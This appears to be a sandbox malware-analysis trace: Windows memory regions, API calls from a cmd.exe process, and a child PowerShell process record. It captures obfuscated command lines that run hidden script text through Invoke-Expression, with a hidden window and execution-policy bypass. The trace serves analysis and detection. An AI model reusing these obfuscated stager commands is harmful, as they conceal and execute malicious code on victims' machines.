	            name = "pagefile_0x0000000000050000"
	        filename = ""

Region:
	              id = 1371
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000060000"
	        filename = ""

Region:
	              id = 1372
	        start_va = 0x130000
	          end_va = 0x22ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000130000"
	        filename = ""

Region:
	              id = 1373
	        start_va = 0x49e40000
	          end_va = 0x49e98fff
	     entry_point = 0x49e40000
	     region_type = mapped_file
	            name = "cmd.exe"
	        filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")

Region:
	              id = 1374
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1375
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1376
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1377
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1378
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1379
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 1380
	        start_va = 0x7fffffdf000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdf000"
	        filename = ""

Region:
	              id = 1381
	        start_va = 0x360000
	          end_va = 0x45ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000360000"
	        filename = ""

Region:
	              id = 1382
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1383
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1384
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1385
	        start_va = 0x20000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 1386
	        start_va = 0x30000
	          end_va = 0x36fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1387
	        start_va = 0x40000
	          end_va = 0x41fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1388
	        start_va = 0x70000
	          end_va = 0xd6fff
	     entry_point = 0x70000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1389
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 1390
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000f0000"
	        filename = ""

Region:
	              id = 1391
	        start_va = 0x320000
	          end_va = 0x32ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000320000"
	        filename = ""

Region:
	              id = 1392
	        start_va = 0x460000
	          end_va = 0x55ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000460000"
	        filename = ""

Region:
	              id = 1393
	        start_va = 0x560000
	          end_va = 0x6e7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000560000"
	        filename = ""

Region:
	              id = 1394
	        start_va = 0x6f0000
	          end_va = 0x870fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000006f0000"
	        filename = ""

Region:
	              id = 1395
	        start_va = 0x880000
	          end_va = 0x1c7ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000880000"
	        filename = ""

Region:
	              id = 1396
	        start_va = 0x1c80000
	          end_va = 0x1fc2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001c80000"
	        filename = ""

Region:
	              id = 1397
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1398
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1399
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1400
	        start_va = 0x7fee69d0000
	          end_va = 0x7fee69d7fff
	     entry_point = 0x7fee69d0000
	     region_type = mapped_file
	            name = "winbrand.dll"
	        filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll")

Region:
	              id = 1401
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1402
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1403
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1404
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1405
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1406
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1419
	        start_va = 0x1fd0000
	          end_va = 0x20cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001fd0000"
	        filename = ""


Thread:
	id = 101
	os_tid = 0xb8c

	[0058.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22fed0 | out: lpSystemTimeAsFileTime=0x22fed0*(dwLowDateTime=0xe5a0f190, dwHighDateTime=0x1d475a6)) 
	[0058.991] GetCurrentProcessId () returned 0xb88
	[0058.991] GetCurrentThreadId () returned 0xb8c
	[0058.991] GetTickCount () returned 0x1ede6
	[0058.991] QueryPerformanceCounter (in: lpPerformanceCount=0x22fed8 | out: lpPerformanceCount=0x22fed8*=1813816600000) returned 1
	[0058.993] GetModuleHandleW (lpModuleName=0x0) returned 0x49e40000
	[0058.993] __set_app_type (_Type=0x1) 
	[0058.993] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49e67810) returned 0x0
	[0058.993] __getmainargs (in: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610, _DoWildCard=0, _StartInfo=0x49e6e0f4 | out: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610) returned 0
	[0058.993] GetCurrentThreadId () returned 0xb8c
	[0058.994] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb8c) returned 0x38
	[0058.994] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0058.994] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40
	[0058.994] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0059.093] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0059.093] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x22fe68 | out: phkResult=0x22fe68*=0x0) returned 0x2
	[0059.093] VirtualQuery (in: lpAddress=0x22fe50, lpBuffer=0x22fdd0, dwLength=0x30 | out: lpBuffer=0x22fdd0*(BaseAddress=0x22f000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0059.094] VirtualQuery (in: lpAddress=0x130000, lpBuffer=0x22fdd0, dwLength=0x30 | out: lpBuffer=0x22fdd0*(BaseAddress=0x130000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0059.094] VirtualQuery (in: lpAddress=0x131000, lpBuffer=0x22fdd0, dwLength=0x30 | out: lpBuffer=0x22fdd0*(BaseAddress=0x131000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0059.094] VirtualQuery (in: lpAddress=0x134000, lpBuffer=0x22fdd0, dwLength=0x30 | out: lpBuffer=0x22fdd0*(BaseAddress=0x134000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0059.094] VirtualQuery (in: lpAddress=0x230000, lpBuffer=0x22fdd0, dwLength=0x30 | out: lpBuffer=0x22fdd0*(BaseAddress=0x230000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0059.094] GetConsoleOutputCP () returned 0x1b5
	[0059.094] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0059.094] SetConsoleCtrlHandler (HandlerRoutine=0x49e63184, Add=1) returned 1
	[0059.094] _get_osfhandle (_FileHandle=1) returned 0x60
	[0059.094] SetConsoleMode (hConsoleHandle=0x60, dwMode=0x0) returned 0
	[0059.094] _get_osfhandle (_FileHandle=1) returned 0x60
	[0059.095] GetConsoleMode (in: hConsoleHandle=0x60, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 0
	[0059.095] _get_osfhandle (_FileHandle=0) returned 0x58
	[0059.095] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 0
	[0059.095] GetEnvironmentStringsW () returned 0x3ac8f0*
	[0059.097] FreeEnvironmentStringsW (penv=0x3ac8f0) returned 1
	[0059.098] GetEnvironmentStringsW () returned 0x3ac8f0*
	[0059.100] FreeEnvironmentStringsW (penv=0x3ac8f0) returned 1
	[0059.100] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x22ed28 | out: phkResult=0x22ed28*=0x40) returned 0x0
	[0059.100] RegQueryValueExW (in: hKey=0x40, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x22ed20, lpData=0x22ed40, lpcbData=0x22ed24*=0x1000 | out: lpType=0x22ed20*=0x0, lpData=0x22ed40*=0x18, lpcbData=0x22ed24*=0x1000) returned 0x2
	[0059.100] RegQueryValueExW (in: hKey=0x40, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x22ed20, lpData=0x22ed40, lpcbData=0x22ed24*=0x1000 | out: lpType=0x22ed20*=0x4, lpData=0x22ed40*=0x1, lpcbData=0x22ed24*=0x4) returned 0x0
	[0059.100] RegQueryValueExW (in: hKey=0x40, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x22ed20, lpData=0x22ed40, lpcbData=0x22ed24*=0x1000 | out: lpType=0x22ed20*=0x0, lpData=0x22ed40*=0x1, lpcbData=0x22ed24*=0x1000) returned 0x2
	[0059.100] RegQueryValueExW (in: hKey=0x40, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x22ed20, lpData=0x22ed40, lpcbData=0x22ed24*=0x1000 | out: lpType=0x22ed20*=0x4, lpData=0x22ed40*=0x0, lpcbData=0x22ed24*=0x4) returned 0x0
	[0059.100] RegQueryValueExW (in: hKey=0x40, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x22ed20, lpData=0x22ed40, lpcbData=0x22ed24*=0x1000 | out: lpType=0x22ed20*=0x4, lpData=0x22ed40*=0x40, lpcbData=0x22ed24*=0x4) returned 0x0
	[0059.100] RegQueryValueExW (in: hKey=0x40, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x22ed20, lpData=0x22ed40, lpcbData=0x22ed24*=0x1000 | out: lpType=0x22ed20*=0x4, lpData=0x22ed40*=0x40, lpcbData=0x22ed24*=0x4) returned 0x0
	[0059.100] RegQueryValueExW (in: hKey=0x40, lpValueName="AutoRun", lpReserved=0x0, lpType=0x22ed20, lpData=0x22ed40, lpcbData=0x22ed24*=0x1000 | out: lpType=0x22ed20*=0x0, lpData=0x22ed40*=0x40, lpcbData=0x22ed24*=0x1000) returned 0x2
	[0059.100] RegCloseKey (hKey=0x40) returned 0x0
	[0059.100] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x22ed28 | out: phkResult=0x22ed28*=0x40) returned 0x0
	[0059.101] RegQueryValueExW (in: hKey=0x40, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x22ed20, lpData=0x22ed40, lpcbData=0x22ed24*=0x1000 | out: lpType=0x22ed20*=0x0, lpData=0x22ed40*=0x40, lpcbData=0x22ed24*=0x1000) returned 0x2
	[0059.101] RegQueryValueExW (in: hKey=0x40, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x22ed20, lpData=0x22ed40, lpcbData=0x22ed24*=0x1000 | out: lpType=0x22ed20*=0x4, lpData=0x22ed40*=0x1, lpcbData=0x22ed24*=0x4) returned 0x0
	[0059.101] RegQueryValueExW (in: hKey=0x40, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x22ed20, lpData=0x22ed40, lpcbData=0x22ed24*=0x1000 | out: lpType=0x22ed20*=0x0, lpData=0x22ed40*=0x1, lpcbData=0x22ed24*=0x1000) returned 0x2
	[0059.101] RegQueryValueExW (in: hKey=0x40, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x22ed20, lpData=0x22ed40, lpcbData=0x22ed24*=0x1000 | out: lpType=0x22ed20*=0x4, lpData=0x22ed40*=0x0, lpcbData=0x22ed24*=0x4) returned 0x0
	[0059.101] RegQueryValueExW (in: hKey=0x40, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x22ed20, lpData=0x22ed40, lpcbData=0x22ed24*=0x1000 | out: lpType=0x22ed20*=0x4, lpData=0x22ed40*=0x9, lpcbData=0x22ed24*=0x4) returned 0x0
	[0059.101] RegQueryValueExW (in: hKey=0x40, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x22ed20, lpData=0x22ed40, lpcbData=0x22ed24*=0x1000 | out: lpType=0x22ed20*=0x4, lpData=0x22ed40*=0x9, lpcbData=0x22ed24*=0x4) returned 0x0
	[0059.101] RegQueryValueExW (in: hKey=0x40, lpValueName="AutoRun", lpReserved=0x0, lpType=0x22ed20, lpData=0x22ed40, lpcbData=0x22ed24*=0x1000 | out: lpType=0x22ed20*=0x0, lpData=0x22ed40*=0x9, lpcbData=0x22ed24*=0x1000) returned 0x2
	[0059.101] RegCloseKey (hKey=0x40) returned 0x0
	[0059.101] time (in: timer=0x0 | out: timer=0x0) returned 0x5be14a4d
	[0059.101] srand (_Seed=0x5be14a4d) 
	[0059.101] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe  /S /D /c\" EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe  )  \""
	[0059.101] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe  /S /D /c\" EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe  )  \""
	[0059.101] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0059.101] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x20046d0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0059.102] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0059.102] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0059.102] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0059.102] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0059.102] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0059.102] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0059.102] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0059.102] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0059.102] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0059.102] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0059.102] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0059.102] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0059.102] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0059.102] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x22fb30 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0059.102] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x22fb30, lpFilePart=0x22fb10 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x22fb10*="Desktop") returned 0x19
	[0059.102] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0059.102] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x22f840 | out: lpFindFileData=0x22f840) returned 0x20048e0
	[0059.103] FindClose (in: hFindFile=0x20048e0 | out: hFindFile=0x20048e0) returned 1
	[0059.103] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x22f840 | out: lpFindFileData=0x22f840) returned 0x20048e0
	[0059.103] FindClose (in: hFindFile=0x20048e0 | out: hFindFile=0x20048e0) returned 1
	[0059.103] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x22f840 | out: lpFindFileData=0x22f840) returned 0x20048e0
	[0059.103] FindClose (in: hFindFile=0x20048e0 | out: hFindFile=0x20048e0) returned 1
	[0059.103] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0059.103] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1
	[0059.103] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1
	[0059.103] GetEnvironmentStringsW () returned 0x3ac8f0*
	[0059.104] FreeEnvironmentStringsW (penv=0x3ac8f0) returned 1
	[0059.104] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0059.104] GetConsoleOutputCP () returned 0x1b5
	[0059.104] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0059.104] GetUserDefaultLCID () returned 0x409
	[0059.105] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49e77b50, cchData=8 | out: lpLCData=":") returned 2
	[0059.105] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x22fc40, cchData=128 | out: lpLCData="0") returned 2
	[0059.105] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x22fc40, cchData=128 | out: lpLCData="0") returned 2
	[0059.105] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x22fc40, cchData=128 | out: lpLCData="1") returned 2
	[0059.105] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49e8a740, cchData=8 | out: lpLCData="/") returned 2
	[0059.105] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49e8a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0059.105] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49e8a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0059.105] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49e8a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0059.105] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49e8a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0059.105] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49e8a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0059.105] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49e8a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0059.106] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49e8a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0059.106] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49e77b40, cchData=8 | out: lpLCData=".") returned 2
	[0059.106] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49e8a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0059.106] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0059.106] GetConsoleTitleW (in: lpConsoleTitle=0x2004a20, nSize=0x104 | out: lpConsoleTitle="cmd.exE    /c %adizY%   ") returned 0x18
	[0059.106] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0059.106] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0
	[0059.106] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290
	[0059.107] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0
	[0059.107] _wcsicmp (_String1="EchO", _String2=")") returned 60
	[0059.107] _wcsicmp (_String1="FOR", _String2="EchO") returned 1
	[0059.107] _wcsicmp (_String1="FOR/?", _String2="EchO") returned 1
	[0059.107] _wcsicmp (_String1="IF", _String2="EchO") returned 4
	[0059.107] _wcsicmp (_String1="IF/?", _String2="EchO") returned 4
	[0059.107] _wcsicmp (_String1="REM", _String2="EchO") returned 13
	[0059.107] _wcsicmp (_String1="REM/?", _String2="EchO") returned 13
	[0059.110] GetConsoleTitleW (in: lpConsoleTitle=0x22fb50, nSize=0x104 | out: lpConsoleTitle="cmd.exE    /c %adizY%   ") returned 0x18
	[0059.110] _wcsicmp (_String1="EchO", _String2="DIR") returned 1
	[0059.110] _wcsicmp (_String1="EchO", _String2="ERASE") returned -15
	[0059.110] _wcsicmp (_String1="EchO", _String2="DEL") returned 1
	[0059.110] _wcsicmp (_String1="EchO", _String2="TYPE") returned -15
	[0059.110] _wcsicmp (_String1="EchO", _String2="COPY") returned 2
	[0059.110] _wcsicmp (_String1="EchO", _String2="CD") returned 2
	[0059.110] _wcsicmp (_String1="EchO", _String2="CHDIR") returned 2
	[0059.110] _wcsicmp (_String1="EchO", _String2="RENAME") returned -13
	[0059.110] _wcsicmp (_String1="EchO", _String2="REN") returned -13
	[0059.110] _wcsicmp (_String1="EchO", _String2="ECHO") returned 0
	[0059.116] _vsnwprintf (in: _Buffer=0x49e86340, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x22f8e8 | out: _Buffer="(gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe  )  \r\n") returned 79
	[0059.116] _get_osfhandle (_FileHandle=1) returned 0x60
	[0059.116] GetFileType (hFile=0x60) returned 0x3
	[0059.116] _get_osfhandle (_FileHandle=1) returned 0x60
	[0059.116] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe  )  \r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe  )  \r\n", lpUsedDefaultChar=0x0) returned 80
	[0059.116] WriteFile (in: hFile=0x60, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0x22f8b8, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x22f8b8*=0x4f, lpOverlapped=0x0) returned 1
	[0059.116] _get_osfhandle (_FileHandle=1) returned 0x60
	[0059.116] SetConsoleMode (hConsoleHandle=0x60, dwMode=0x0) returned 0
	[0059.116] _get_osfhandle (_FileHandle=1) returned 0x60
	[0059.116] GetConsoleMode (in: hConsoleHandle=0x60, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 0
	[0059.116] _get_osfhandle (_FileHandle=0) returned 0x58
	[0059.117] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 0
	[0059.117] GetConsoleOutputCP () returned 0x1b5
	[0059.117] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0059.117] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0059.117] exit (_Code=0) 

Process:
	id = "15"
	image_name = "powershell.exe"
	filename = "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe"
	page_root = "0x5103d000"
	os_pid = "0xb90"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "13"
	os_parent_pid = "0xb80"
	cmd_line = "POwERsHElL   -noNiNTEraCTI  -NolO -wiN hIdden -execuTIONpOLIc byPASS  -nOPrOFIle  -COmMANd     &( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT )     "
	cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\"
	os_username = "YKYD69Q\\aETAdzjz"
